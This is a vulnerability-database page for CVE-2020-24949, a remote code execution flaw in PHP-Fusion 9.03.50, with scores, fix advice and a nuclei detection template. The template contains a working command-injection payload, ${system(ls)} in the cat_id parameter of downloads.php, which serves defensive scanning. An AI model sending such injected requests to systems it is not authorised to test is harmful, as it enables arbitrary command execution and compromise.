HexBrain

Browse / CVEs / CVE-2020-24949

CVE-2020-24949· php-fusion / php-fusion· CWE-77

PHP-Fusion 9.03.50 - Remote Code Execution

highseverity
8.8CVSS score
67.5%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

PHP-Fusion 9.03.50 downloads/downloads.php allows an authenticated user (not admin) to send a crafted request to the server and perform remote command execution.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected system, potentially leading to full compromise.

Fix

Apply the latest security patch or upgrade to a non-vulnerable version of PHP-Fusion.

How to confirm it

Send: GET {{BaseURL}}/infusions/downloads/downloads.php?cat_id=${system(ls)}
Positive when: contains "infusion_db.php" AND status 200

Run it with nuclei: nuclei -id CVE-2020-24949 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-24949

info:
  name: PHP-Fusion 9.03.50 - Remote Code Execution
  author: geeknik
  severity: high
  description: PHP-Fusion 9.03.50 downloads/downloads.php allows an authenticated user (not admin) to send a crafted request to the server and perform remote command execution.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected system, potentially leading to full compromise.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of PHP-Fusion.
  reference:
    - https://packetstormsecurity.com/files/162852/phpfusion90350-exec.txt
    - https://github.com/php-fusion/PHP-Fusion/issues/2312
    - http://packetstormsecurity.com/files/162852/PHPFusion-9.03.50-Remote-Code-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24949
    - https://github.com/404notf0und/CVE-Flow
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-24949
    cwe-id: CWE-77
    epss-score: 0.67516
    epss-percentile: 0.99318
    cpe: cpe:2.3:a:php-fusion:php-fusion:9.03.50:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: php-fusion
    product: php-fusion
  tags: cve,cve2020,rce,php,packetstorm,phpfusion,php-fusion,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/infusions/downloads/downloads.php?cat_id=${system(ls)}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "infusion_db.php"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from